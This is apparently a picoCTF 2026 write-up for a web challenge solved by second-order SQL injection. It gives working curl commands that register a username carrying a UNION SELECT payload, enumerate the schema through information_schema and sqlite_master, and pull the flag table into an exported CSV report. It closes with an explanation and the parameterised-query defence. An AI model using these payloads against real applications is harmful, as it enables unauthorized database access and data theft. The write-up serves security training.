ORDER ORDER picoCTF 2026 Solution

Published: March 20, 2026

Description

Can you try to get the flag from our website? I've prepared my queries everywhere! I think!

Launch the challenge instance and open the web application.

Register an account to explore the application's features.

  1. Step 1Recon the schema before crafting the UNION
    Before injecting, find out which tables and columns exist. Register a throwaway account with a UNION payload that pulls from information_schema (or sqlite_master, depending on the DB) so the report rendering reveals the schema for you.
    bash
    # MySQL/Postgres: list tables
    bash
    curl -d "username=a' UNION SELECT table_name, table_schema, '2026-01-01' FROM information_schema.tables --&password=test123" \
      http://<HOST>:<PORT_FROM_INSTANCE>/register
    bash
    # Then list columns for the table you care about:
    bash
    curl -d "username=a' UNION SELECT column_name, table_name, '2026-01-01' FROM information_schema.columns WHERE table_name='aDNyM19uMF9mMTRn' --&password=test123" \
      http://<HOST>:<PORT_FROM_INSTANCE>/register
    bash
    # SQLite alternative:
    bash
    curl -d "username=a' UNION SELECT name, sql, '2026-01-01' FROM sqlite_master --&password=test123" \
      http://<HOST>:<PORT_FROM_INSTANCE>/register

    The hidden table name aDNyM19uMF9mMTRn is base64 for h3r3_n0_f14g (yes, the author signposted it). Decode any odd-looking identifier you find in the schema dump with echo -n aDNyM19uMF9mMTRn | base64 -d and you'll often find the answer staring back.

    Learn more

    Schema enumeration is the standard first move in a real-world UNION-based injection. information_schema (MySQL/Postgres) and sqlite_master (SQLite) are both readable by every authenticated user by default and let you map the entire database from a single injection point. See the SQL injection for CTF post for the full enumeration playbook.

  2. Step 2Register with a UNION SELECT payload as your username
    Now that you know the table and columns, register an account whose username is the real injection. Reports built from your stored username will splice in rows from the hidden flag table.
    bash
    # Register with the injection as the username (note: include &password=...):
    bash
    curl -d "username=b' UNION SELECT name, value, '2026-01-01' FROM aDNyM19uMF9mMTRn --&password=test123" \
      http://<HOST>:<PORT_FROM_INSTANCE>/register
    bash
    # Then log in with the same credentials, saving the cookie:
    bash
    curl -c cookie.jar -d "username=b' UNION SELECT name, value, '2026-01-01' FROM aDNyM19uMF9mMTRn --&password=test123" \
      http://<HOST>:<PORT_FROM_INSTANCE>/login
    Learn more

    Second-order SQL injection (also called stored or persistent SQL injection) is a two-phase attack. In the first phase, a malicious payload is stored in the database - for example, as a username. The application may safely escape or parameterise the insertion query, so the value is stored verbatim. In the second phase, a different part of the application retrieves and re-uses the stored value in a new SQL query without escaping it, triggering the injection.

    This is more insidious than first-order injection because the vulnerability is invisible during the initial input. WAFs (Web Application Firewalls) that block injection payloads at the network edge often miss second-order attacks because the payload arrives in an innocuous registration form, and the injection fires later from an internal database read.

    The UNION SELECT technique appends an attacker-controlled SELECT to the original query, merging the result rows. For this to work, the injected SELECT must match the column count and compatible types of the original query. The dummy literal '2026-01-01' fills the third column to match the original report query's schema.

  3. Step 3Generate and download the report
    Trigger the report generation feature. When the app builds the report query using your stored username, the UNION SELECT fires and appends rows from the hidden flag table (aDNyM19uMF9mMTRn) to the output. Download the report as CSV.
    bash
    curl -b cookie.jar http://<HOST>:<PORT_FROM_INSTANCE>/report/generate
    bash
    curl -b cookie.jar http://<HOST>:<PORT_FROM_INSTANCE>/report/download
    bash
    # The CSV contains: flag, picoCTF{...}
    Learn more

    The hidden table name aDNyM19uMF9mMTRn is base64 for h3r3_n0_f14g. The recon step above is how you would actually discover it in a real engagement: pulling table_name from information_schema.tables (MySQL/Postgres) or name from sqlite_master (SQLite), then enumerating columns with UNION SELECT column_name FROM information_schema.columns WHERE table_name='...'.

    CSV export features are a particularly rich target for UNION-based injection because the output is structured, paginated data - exactly what a UNION SELECT produces. The injected rows appear as extra entries in the exported file, blending in with legitimate data. This is why report generation functionality deserves special attention during security reviews.

    The defence against second-order injection is the same as first-order: always use parameterised queries (prepared statements) everywhere data is used in SQL, not just at the initial insertion point. Escaping is not sufficient because data passes through multiple code paths and the original escape context may be lost.

Flag

picoCTF{0rd3r_0rd3r_sql1_...}

Second-order SQL injection via username. Register with `b' UNION SELECT name, value, '2026-01-01' FROM aDNyM19uMF9mMTRn --` as your username. When the report is generated, the injection appends rows from the flag table to the CSV output.

Want more picoCTF 2026 writeups?

Useful tools for Web Exploitation

Related reading

What to try next